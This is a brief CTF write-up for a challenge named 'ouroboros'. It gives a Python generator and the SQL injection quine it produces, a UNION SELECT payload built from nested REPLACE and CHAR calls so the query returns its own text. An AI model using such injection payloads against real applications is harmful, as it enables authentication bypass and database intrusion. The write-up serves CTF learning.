← Back
ouroboros | Avishai’s CTF Writeups

Avishai's CTF Writeups

Yalla Balagan! A collection of my CTF writeups and solutions.

View on GitHub

This is the ouroboros, it can be generated using this source code:

def quine(data):
    data = data.replace('$$', "REPLACE(REPLACE($$,CHAR(34),CHAR(39)),CHAR(36),$$)")
    blob = data.replace('$$', '"$"').replace("'", '"')
    data = data.replace('$$', "'" + blob + "'")
    print(data)

quine("' UNION Select $$ -- -")


This is the input we gives, $$ will contain all the quine:

' UNION Select $$ -- -
' UNION Select REPLACE(REPLACE('" UNION Select REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") -- -',CHAR(34),CHAR(39)),CHAR(36),'" UNION Select REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") -- -') -- -

FINAL